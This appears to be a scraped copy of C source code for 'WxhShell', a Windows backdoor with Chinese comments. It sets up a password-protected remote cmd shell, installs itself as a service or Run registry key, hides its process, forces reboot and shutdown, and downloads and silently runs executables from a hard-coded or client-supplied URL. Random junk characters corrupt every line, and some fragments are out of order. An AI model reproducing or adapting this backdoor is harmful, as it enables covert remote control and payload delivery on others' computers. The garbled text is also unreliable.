  case 'd': { KBx6NU?;PO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^:^9l1]  
    if(Boot(SHUTDOWN)) eg;~zv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z`ID+  
    else { [+n*~  
    closesocket(wsh); o,AAC  
    ExitThread(0); aBNc(?ri  
    } qNB<T('  
    break; 7:plQ !7^  
    } oAODp!_c  
  // 获取shell #S!)JM|4wk  
  case 's': { N4F.Y"R$(  
    CmdShell(wsh); 6xTuNE1  
    closesocket(wsh); MyJ%`@+1  
    ExitThread(0); {?}E^5Z*g  
    break; 0zmE>/O+  
  } r1 !@hT  
  // 退出 `yrB->|vG  
  case 'x': { xr4 *{v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6t[+pL\b  
    CloseIt(wsh); s >7}zU]  
    break; S9]'?|  
    } %[Wh [zZy  
  // 离开 C~,a!qY  
  case 'q': { ! >(7+B3E*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GfoLae  
    closesocket(wsh); riY~%9iV'  
    WSACleanup(); {FeDvhv  
    exit(1); t5\-v_mG=&  
    break; Cjm`|~&e+  
        } .o(fe\KHf  
  } &Cr:6W@A  
  } _n0CfH.v  
}~e8e   
  // 提示信息 2=,lcWr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5Dm.K?l;  
} >%}C^gu)  
  } 6m* QX+  
3]}D`Qs6  
  return; % ?0:vn  
} @vC4[:"pD}  
w'Y7IlC  
// shell模块句柄 Ns>- o  
int CmdShell(SOCKET sock) FtP0krO(  
{ Xix L  R  
STARTUPINFO si; ? uzRhC_)!  
ZeroMemory(&si,sizeof(si)); 7zXvnxYE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )WNzWUfn=z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }7|1  
PROCESS_INFORMATION ProcessInfo; Yb|c\[ %  
char cmdline[]="cmd"; 3`t#UY).F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kr gFKRgGj  
  return 0; hZ?Rof  
} W <9T0sZ  
,1~"eGl!  
// 自身启动模式 \ub7`01  
int StartFromService(void) % L$bf#  
{ {f/~1G[M  
typedef struct k9sh @ENy  
{ vYwYQG  
  DWORD ExitStatus; %KC yb  
  DWORD PebBaseAddress; F~R;n_IJ  
  DWORD AffinityMask; >*~L28Fyn  
  DWORD BasePriority; :3v}kLO7|  
  ULONG UniqueProcessId; ^S4d:-.3  
  ULONG InheritedFromUniqueProcessId; b[r8 e  
}   PROCESS_BASIC_INFORMATION; PCHu #5j_a  
w1Nm&}V  
PROCNTQSIP NtQueryInformationProcess; g0xuxK;9c  
"h{q#~s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kj#?whK6~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .F4>p=r  
GFj{K  
  HANDLE             hProcess; =)0,#9k U]  
  PROCESS_BASIC_INFORMATION pbi; }NHaCG[,  
%<\vGqsM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mitHT :%r2  
  if(NULL == hInst ) return 0; 8g@<d ^8@  
<GS^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1-8mFIK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dP9qSwTa  
Q3kdlxXR  
  if (!NtQueryInformationProcess) return 0; -]0OKE&  
=Gpylj7?~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5kc/Y/4o  
  if(!hProcess) return 0; f%is~e~wc  
 U f:`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R/~p>apg8  
6dq(T_eG  
  CloseHandle(hProcess); !j9t*2m[  
epA:v|S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l5S aT,%  
if(hProcess==NULL) return 0; )Kc<j!8-[  
$SlIr<'*"  
HMODULE hMod; %f&/E"M  
char procName[255]; Z^bQ^zk-  
unsigned long cbNeeded; ,;EIh}  
 :|>h7v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v,FU^f-'  
0M_ DB=  
  CloseHandle(hProcess); h{)kQLuzT  
ep!Rf:  
if(strstr(procName,"services")) return 1; // 以服务启动 [;n9:Qxf  
Lu?C-$a C  
  return 0; // 注册表启动 Mo|;'+  
} nD_GL  
@x*c1%wg  
// 主模块 L7n D|  
int StartWxhshell(LPSTR lpCmdLine) KoOz#,()  
{ rMdt:`  
  SOCKET wsl; {BP{C=p  
BOOL val=TRUE; "M<8UE\n  
  int port=0; d`QN^)F0#  
  struct sockaddr_in door; iFd+2S%  
TJ10s%,V  
  if(wscfg.ws_autoins) Install(); 8H%;WU9-  
iN bIp"W  
port=atoi(lpCmdLine); }5ret  
+5w))9@  
if(port<=0) port=wscfg.ws_port; D>`xzt'.6  
/j #n  
  WSADATA data; .M qP_Z',  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0\X\izQ5  
d6Ht2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "|x^|n8i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %v=*Wb\3|  
  door.sin_family = AF_INET; =ElO?9&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DBo%fYst  
  door.sin_port = htons(port); |)IlMG  
dH;8mb|#'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X2#2C/6#u  
closesocket(wsl); ,1y@Z 5wy  
return 1; {kA0z2Fe  
} Yk'XGr)  
6LvW?z(J  
  if(listen(wsl,2) == INVALID_SOCKET) { Lm iOhx  
closesocket(wsl); 0CZ :Bo[3  
return 1; t;|@o\  
} Xc =Y  
  Wxhshell(wsl); MU($|hwiL  
  WSACleanup(); _('=b/  
qEyyT[:  
return 0; Z_LFIz*c  
^P[e1?SZG  
} PIJr{6B/PA  
r)Ma3FL0;  
// 以NT服务方式启动 |-fg j'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /fKx} }g)  
{ 5[8xV%>;  
DWORD   status = 0; Lz |? ek7Q  
  DWORD   specificError = 0xfffffff; 1XrO~W\=  
&yct!YOB2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _?-E7:Sw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j@AIK+0Qc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5GI,o|[s6  
  serviceStatus.dwWin32ExitCode     = 0; D@,6M#SK  
  serviceStatus.dwServiceSpecificExitCode = 0; BnX0G1|#  
  serviceStatus.dwCheckPoint       = 0; Z-$[\le  
  serviceStatus.dwWaitHint       = 0; TYy?KG>:'  
eVEV}`X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4n#M  
  if (hServiceStatusHandle==0) return; .8 2P(}h  
Q3XpHnufu+  
status = GetLastError(); 1rNzJ;'  
  if (status!=NO_ERROR) =T3 <gGM  
{ kI,yU}<Fq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g!FuY/%+  
    serviceStatus.dwCheckPoint       = 0; [T|aw1SoN  
    serviceStatus.dwWaitHint       = 0; t=BUN  
    serviceStatus.dwWin32ExitCode     = status; N+9VYH"*  
    serviceStatus.dwServiceSpecificExitCode = specificError; )~GmU9f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #%pI(,o=  
    return; sv2A-Dld  
  } e|g5=2(Pr&  
2A']y D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ] vz%iv_  
  serviceStatus.dwCheckPoint       = 0; a1g,@0s  
  serviceStatus.dwWaitHint       = 0; gI&#o@Pm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e+=y*OmQ  
} ,L|%"K]yM  
kYM~d07 V  
// 处理NT服务事件,比如:启动、停止 ^\hG"5#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \q>bs|2  
{ DRSr%d  
switch(fdwControl) RaO-H  
{ MOQ6 :  
case SERVICE_CONTROL_STOP: |-b#9JQ[A  
  serviceStatus.dwWin32ExitCode = 0; 4`lLf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [xbSYu,&  
  serviceStatus.dwCheckPoint   = 0; {yBs7[Wn  
  serviceStatus.dwWaitHint     = 0; 1m'k|Ka  
  { ,[N%Q#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kC:uG0sW  
  } nB_?ckj,  
  return; C>]0YO k2  
case SERVICE_CONTROL_PAUSE: xI{)6t$`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *zaQx+L  
  break; JL`-0P<M  
case SERVICE_CONTROL_CONTINUE: )~& CvJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aacpM[{f  
  break; n|6Ic,:[  
case SERVICE_CONTROL_INTERROGATE: -5)H<dAQZ  
  break; %{7|1>8  
}; >d(~# Z`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EW}Bzh>b  
} ##q2mm:a9P  
q?Cnav`DY  
// 标准应用程序主函数 gK+ 4C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ):P?  
{ # ncRb  
l.(v^3:X  
// 获取操作系统版本 *o]L|Vu  
OsIsNt=GetOsVer(); > ;jZa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3(``#7  
`b?R#:G  
  // 从命令行安装 @hl.lq  
  if(strpbrk(lpCmdLine,"iI")) Install(); jxP;>K7O  
$ux,9H'[  
  // 下载执行文件 +*\u :n  
if(wscfg.ws_downexe) { goLL;AL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3_C|z,\:  
  WinExec(wscfg.ws_filenam,SW_HIDE); pXtl 6K%  
} ^Xz@`_I  
W}nlRbN?  
if(!OsIsNt) {  50"pbzW  
// 如果时win9x,隐藏进程并且设置为注册表启动 dSLU>E3g  
HideProc(); n"$jG:A QJ  
StartWxhshell(lpCmdLine); R%Hi+#/dr-  
} +[Dx?XM  
else u :}%xD6  
  if(StartFromService()) &C:IX\  
  // 以服务方式启动 QfmJn((  
  StartServiceCtrlDispatcher(DispatchTable); ZVW'>M7.  
else @MoKWfc  
  // 普通方式启动 ,1hxw<sNR  
  StartWxhshell(lpCmdLine); f@6QvkIa  
e*sfPHt  
return 0; =WyDp97@+  
} sZ'nY o  
H!c@klD  
u+dLaVlLJ  
} F E>|1  
=========================================== wDw[RW3  
N[?N5~jG  
OwuE~K7b{  
Fzm*Pz3  
FOb0uj=(v  
c7?_46 J  
" O8^A5,2@3>  
,yC-+VL  
#include <stdio.h> #OZ>V3k  
#include <string.h> CZ8KEBl  
#include <windows.h> \TIT:1  
#include <winsock2.h> ]{!U@b  
#include <winsvc.h> eFipIn)b  
#include <urlmon.h> '|ad_M  
y~(h>gi,x  
#pragma comment (lib, "Ws2_32.lib") .nTwPrG  
#pragma comment (lib, "urlmon.lib") \-L&5x"x  
u^&A W$  
#define MAX_USER   100 // 最大客户端连接数 rUTcpGH  
#define BUF_SOCK   200 // sock buffer }pDqe;a{  
#define KEY_BUFF   255 // 输入 buffer XWDL5K  
~W*FCG#E  
#define REBOOT     0   // 重启 =pr` '  
#define SHUTDOWN   1   // 关机 "7U4'Y:E  
1f%1*L0>@  
#define DEF_PORT   5000 // 监听端口 T _r:4JS  
oVnvO iAc  
#define REG_LEN     16   // 注册表键长度 60P<4  
#define SVC_LEN     80   // NT服务名长度 "33Fv9C#bK  
rUwZMli  
// 从dll定义API bw(a6qKK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'QJ:`)z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 90Pl$#cb2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Fiv3 {.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,Z aRy$?  
{SOr#{1z*  
// wxhshell配置信息 X1,I  
struct WSCFG { FO+Zue.RS  
  int ws_port;         // 监听端口 `-.%^eIp  
  char ws_passstr[REG_LEN]; // 口令 SII;n2[Ze  
  int ws_autoins;       // 安装标记, 1=yes 0=no r`=+L-!  
  char ws_regname[REG_LEN]; // 注册表键名 LuNc, n%  
  char ws_svcname[REG_LEN]; // 服务名 E{`kaWmC&~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i 6R~`0>Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^pxX]G]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y?rPlA_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \j+1V1t9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |<HPn4 ,X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wYd b*"R  
QFE:tBHe  
}; kh!FR u h  
vhe>)h*B  
// default Wxhshell configuration 7z/|\D_{  
struct WSCFG wscfg={DEF_PORT, w+C7BPV&  
    "xuhuanlingzhe", O $LfuL  
    1, rr+|Zt Y  
    "Wxhshell", V n7*JS  
    "Wxhshell", vV6<^ W:9F  
            "WxhShell Service", Sw:7pByjI  
    "Wrsky Windows CmdShell Service", &[_g6OL  
    "Please Input Your Password: ", Jk&3%^P{m  
  1, E8!e:l =Q  
  "http://www.wrsky.com/wxhshell.exe", d.3E[AJa(  
  "Wxhshell.exe" eS{!)j_^  
    }; k\wW##=v  
$}RJ,%~'x  
// 消息定义模块 bG7O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cq5jPZ}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @>u]4Jn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \@WDV  
char *msg_ws_ext="\n\rExit."; l2`s! ,<>O  
char *msg_ws_end="\n\rQuit."; "K  ~  
char *msg_ws_boot="\n\rReboot..."; k;2GEa]w  
char *msg_ws_poff="\n\rShutdown..."; wZG\>9~  
char *msg_ws_down="\n\rSave to "; l-fi%Z7C  
3Q"<<pi!~  
char *msg_ws_err="\n\rErr!"; lun#^J  
char *msg_ws_ok="\n\rOK!"; 1uG"f<TsR  
"&%I)e^  
char ExeFile[MAX_PATH]; 0+iu(VbF  
int nUser = 0; < nXL  
HANDLE handles[MAX_USER]; ht7l- AK  
int OsIsNt; 00'%EYO  
+vvv[  
SERVICE_STATUS       serviceStatus; ;QWIsVz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V\t.3vT  
m/Oh\KlIl  
// 函数声明 4 kn|^  
int Install(void); (gEBOol  
int Uninstall(void); u_hD}V^x4  
int DownloadFile(char *sURL, SOCKET wsh); b+,' ;bW  
int Boot(int flag); }e!x5g   
void HideProc(void); N+++4;  
int GetOsVer(void); ! _f9NK  
int Wxhshell(SOCKET wsl); YT8vP~  
void TalkWithClient(void *cs); 48c1gUw oP  
int CmdShell(SOCKET sock); .|hf\1_J  
int StartFromService(void); 0x'#_G65y  
int StartWxhshell(LPSTR lpCmdLine); ZNJ@F<  
%+f>2U4I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >,TUZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V:qSy#e  
vBRQp&YwX  
// 数据结构和表定义 J3,fk)  
SERVICE_TABLE_ENTRY DispatchTable[] = !i{aMxUP  
{ |h-QP#]/  
{wscfg.ws_svcname, NTServiceMain}, 0Z~p%C<LW  
{NULL, NULL} Z?}dq-Vh&  
}; 'w!Cn>  
FQm`~rA~zt  
// 自我安装 >go,K{cK6  
int Install(void) 7"aN#;&  
{ `2'#! -  
  char svExeFile[MAX_PATH]; SFO({w(  
  HKEY key; D'7SAFOM  
  strcpy(svExeFile,ExeFile); _XG/Pp)  
XDsx3Ws  
// 如果是win9x系统,修改注册表设为自启动 esHg'8?U  
if(!OsIsNt) { U@g4w!$r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )+l\w3^6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nKS7Q1+  
  RegCloseKey(key); B{|8#jqY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pczug-nB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lH#u  
  RegCloseKey(key); |L-]fjBbF  
  return 0; K17j$o^6KK  
    } , 0imiv  
  } h^?\xm|  
} { WIJC ',Y  
else { g>Y|9Y  
8s"%u )  
// 如果是NT以上系统,安装为系统服务 Q(lo{AFc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uZM{BgXXD  
if (schSCManager!=0) 4NGA/ G  
{ DAS/43\  
  SC_HANDLE schService = CreateService IzsphBI  
  ( }x@2]juJ  
  schSCManager, u6T+Cg  
  wscfg.ws_svcname, 18~>ZR  
  wscfg.ws_svcdisp, QOjqQfmM;  
  SERVICE_ALL_ACCESS, qLw{?sH}J/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #i@;J]x(  
  SERVICE_AUTO_START, gGr^@=;YC  
  SERVICE_ERROR_NORMAL, |k+8<\  
  svExeFile, ?,p;O  
  NULL,  U mNa[ s  
  NULL, )T';qm0w  
  NULL, RM K"o?  
  NULL, qC}-_u7s  
  NULL 1KMLG=  
  ); y&Mr=5:y  
  if (schService!=0) >_e]C}QUr  
  { Q o?O:  
  CloseServiceHandle(schService); 6qRx0"qB  
  CloseServiceHandle(schSCManager); H18Tn!RDS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d p2F  
  strcat(svExeFile,wscfg.ws_svcname); g}f`,r9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C 'v+f=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \Z]UA&v_  
  RegCloseKey(key); eAXc:222  
  return 0; k40* e\  
    } b vS(@  
  } /`f^Y>4gD  
  CloseServiceHandle(schSCManager); B-.gI4xa  
} AmaT0tzJC  
} ]e^c=O`$  
|zR8rqBX;  
return 1; 3 DDML,  
} vI2^tX 9  
gg[WlRQK4A  
// 自我卸载 p<zSJLN  
int Uninstall(void) d{XO/YQw  
{ \Kl+ 5%L  
  HKEY key; %ZNI:Uh  
XM1WfjE\  
if(!OsIsNt) { 2@9Tfm(=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dls ss\c^M  
  RegDeleteValue(key,wscfg.ws_regname); LO <  
  RegCloseKey(key); zhpx"{_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *RXbc~ H  
  RegDeleteValue(key,wscfg.ws_regname); `&KwtvkdI  
  RegCloseKey(key); vY%d   
  return 0; 9{-EJ)  
  } vWRju*Z&  
} R#2t)y  
} MOsl_^c  
else { [21 =5S  
3|1i lP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w9NHk~LHKF  
if (schSCManager!=0) 0/!dUWdKH  
{ 6,d@p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2Tfz=7h$  
  if (schService!=0) 0(mkeIzJt/  
  { 7bk%mQk  
  if(DeleteService(schService)!=0) { u:[vaBh91  
  CloseServiceHandle(schService); A3|Dz&@:  
  CloseServiceHandle(schSCManager); D$bIo "  
  return 0; F_;vO%}  
  } (@t(?Js  
  CloseServiceHandle(schService); o>/YAX:.!T  
  } /wP@2ADB  
  CloseServiceHandle(schSCManager); 'f[T&o&L/  
} &$]v h  
} C!Rs^/  
{P{bOe  
return 1; sA'6ty  
} --HF8_8;'  
c.,2GwW  
// 从指定url下载文件 p$h4u_  
int DownloadFile(char *sURL, SOCKET wsh) _h X]%  
{ !X"K=zt"  
  HRESULT hr; <(-3_s6-  
char seps[]= "/"; !OA]s%u  
char *token; }&n<uUDH  
char *file; BB~OqZIP  
char myURL[MAX_PATH]; "Jt.lL ]5  
char myFILE[MAX_PATH]; 4zJtOK?r"  
}"=AG  
strcpy(myURL,sURL); wtc!>  
  token=strtok(myURL,seps); r9 ui|>U"  
  while(token!=NULL) 3E>frR\!I  
  { !R1.7}O  
    file=token; 7 qj9&bEy  
  token=strtok(NULL,seps); HRiL.DS  
  } <FWF<r3F  
7RUofcax  
GetCurrentDirectory(MAX_PATH,myFILE); ZJwrLV  
strcat(myFILE, "\\"); m9"n4a|:  
strcat(myFILE, file); -TM 0]{  
  send(wsh,myFILE,strlen(myFILE),0); Eo#u#IY  
send(wsh,"...",3,0); Q(<)KZIK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VJdIHsI  
  if(hr==S_OK) ZCB_  
return 0; r:F  
else / C>wd   
return 1; COW}o~3-4  
MxY/`9>E|+  
} ~.UrL(l=  
4eikLRD,  
// 系统电源模块 5dB'&8DX  
int Boot(int flag) <5NF;  
{ \ C+(~9@|  
  HANDLE hToken; ow_djv:,  
  TOKEN_PRIVILEGES tkp; Bx/L<J@  
`e(vH`VZ  
  if(OsIsNt) { Xlb0/T<g!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .Fnwm}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1jc, Y.mP  
    tkp.PrivilegeCount = 1; yqi^>Ce0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "FTfk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f. FYR|%tq  
if(flag==REBOOT) { [P 06lIO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w9, iq@  
  return 0; 2 !At2P2  
} z)9wXo#~  
else { Xtp"QY p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uO=aaKG  
  return 0; +"8,Mh  
} \ gLHi~  
  } #|*F1K  
  else { Q($Z%1S  
if(flag==REBOOT) { )hk   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tI7:5Cm  
  return 0; G3rj`Sg^c  
} hi0R.V&  
else { L+CyQq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TZ2=O<Kj  
  return 0; :'*DPB-  
} 4dhvFGlW  
} `67[O4$<  
6IWxPt ~  
return 1; QF&W`c  
} r=6v`)Qr  
/)dFK~  
// win9x进程隐藏模块 |\U5) ,m  
void HideProc(void) )l!3(  
{ DqX{'jj  
h=(DX5:A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zOGU8Wg  
  if ( hKernel != NULL ) ^_ kJKM,  
  { 4H|(c[K;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xj[(P$,P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R1& [S/  
    FreeLibrary(hKernel); 55;g1o}}f  
  } aBNZdX]vzO  
sgO'wXcoP  
return; dw TMq*e  
} I('Un@hS  
v>Mnl  
// 获取操作系统版本 Rr!Y3)f;  
int GetOsVer(void) 7^Ns&Q  
{ v{9t]s>B  
  OSVERSIONINFO winfo; X`fn8~5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C&6IU8l\  
  GetVersionEx(&winfo); 7f~Sf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _L@2_#h!  
  return 1; ,2j.<g&   
  else 5vw{b?  
  return 0; ^|TG$`M(w  
} jq+A-T}@  
$d,0=Ci  
// 客户端句柄模块 lhtZaU~V  
int Wxhshell(SOCKET wsl) c wOJy >  
{ (sQr X{~  
  SOCKET wsh; I(9R~q  
  struct sockaddr_in client; "h|'}7p  
  DWORD myID; {'AWZ(  
;q:jl~  
  while(nUser<MAX_USER) ?gwUwOV"  
{ !vk|<P1  
  int nSize=sizeof(client); x3u4v~ "-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XXh6^@H=  
  if(wsh==INVALID_SOCKET) return 1; *FmTy|  
P(;?kg}0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VwEb7v,^0\  
if(handles[nUser]==0) -CRra EXf8  
  closesocket(wsh); x ul]m*Z  
else ixV0|P8,c  
  nUser++; r YF #^  
  } }=|!:kiE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qY >{cjo  
?_v{| YI=  
  return 0; V13BB44  
} ** +e7k   
BbRBT@  
// 关闭 socket '(dz"PL.  
void CloseIt(SOCKET wsh) a&k_=/X&  
{ lt_']QqU  
closesocket(wsh); Q7g>4GZC  
nUser--; 5bA)j!#)|X  
ExitThread(0); TO-nD>  
} ,:%"-`a%  
) /v6l  
// 客户端请求句柄 >y}M.Mm  
void TalkWithClient(void *cs) MCT'Nw@A  
{ qVdwfT{1J  
B}eA\O4}I  
  SOCKET wsh=(SOCKET)cs; UK{irU|\  
  char pwd[SVC_LEN]; Q//,4>JKf  
  char cmd[KEY_BUFF]; &<+ A((/i  
char chr[1]; PC qZNBN  
int i,j; (D 9Su^:1  
$-&BB(-{E&  
  while (nUser < MAX_USER) { #_B-4sm  
[y0O{,lI  
if(wscfg.ws_passstr) { Dk='+\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sO5?aB&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J -ePE7i  
  //ZeroMemory(pwd,KEY_BUFF); *#TYqCc+g  
      i=0; zz^F k&  
  while(i<SVC_LEN) { 5P .qXA"D  
>j{z>  
  // 设置超时 6&!&\  
  fd_set FdRead; &*s0\ 8  
  struct timeval TimeOut; !bC+TYsU  
  FD_ZERO(&FdRead); (o J9k[(  
  FD_SET(wsh,&FdRead);  `juLQH  
  TimeOut.tv_sec=8; ZbT/$\0(6  
  TimeOut.tv_usec=0; KE1ao9H8wR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zh $}~RG[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l?iSxqdT  
\@>b;4Fb+N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7t?*  
  pwd=chr[0]; m{7^EF  
  if(chr[0]==0xd || chr[0]==0xa) { yi^b)2G  
  pwd=0; lKkN_ (/j  
  break; S2>c#BQ  
  } s!9dQ.  
  i++; |8bq>01~  
    } fgj^bcp-  
OgcHS?  
  // 如果是非法用户,关闭 socket !6G?zipB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j&UMjI9[  
} NjE</Empb%  
v?c 0[+?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g}f9dB,F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {ls+d x/  
dtPoo\@  
while(1) { "Pl9nE  
>3gi yeJ  
  ZeroMemory(cmd,KEY_BUFF); `funE:>,  
`]v[5E  
      // 自动支持客户端 telnet标准   5[{*{^F4  
  j=0;  h C=:q  
  while(j<KEY_BUFF) { 9]'($:LF08  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >\ u<&>i  
  cmd[j]=chr[0]; }YOL"<,:o  
  if(chr[0]==0xa || chr[0]==0xd) { ~Z ~v  
  cmd[j]=0; 1 ^g t1o  
  break; |+U<S~  
  } HP.E3yYK  
  j++; +Ug/rtK4   
    } Kd3?I5t  
0Y]0!}  
  // 下载文件 B$KwkhMe  
  if(strstr(cmd,"http://")) { ~dHM4lGY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |BZDhd9<{  
  if(DownloadFile(cmd,wsh)) hSGb-$~F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *[eL~oN.c  
  else  ySbqnw'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W2;N<[wa<u  
  } '<iK*[NW  
  else { ( #Z`  
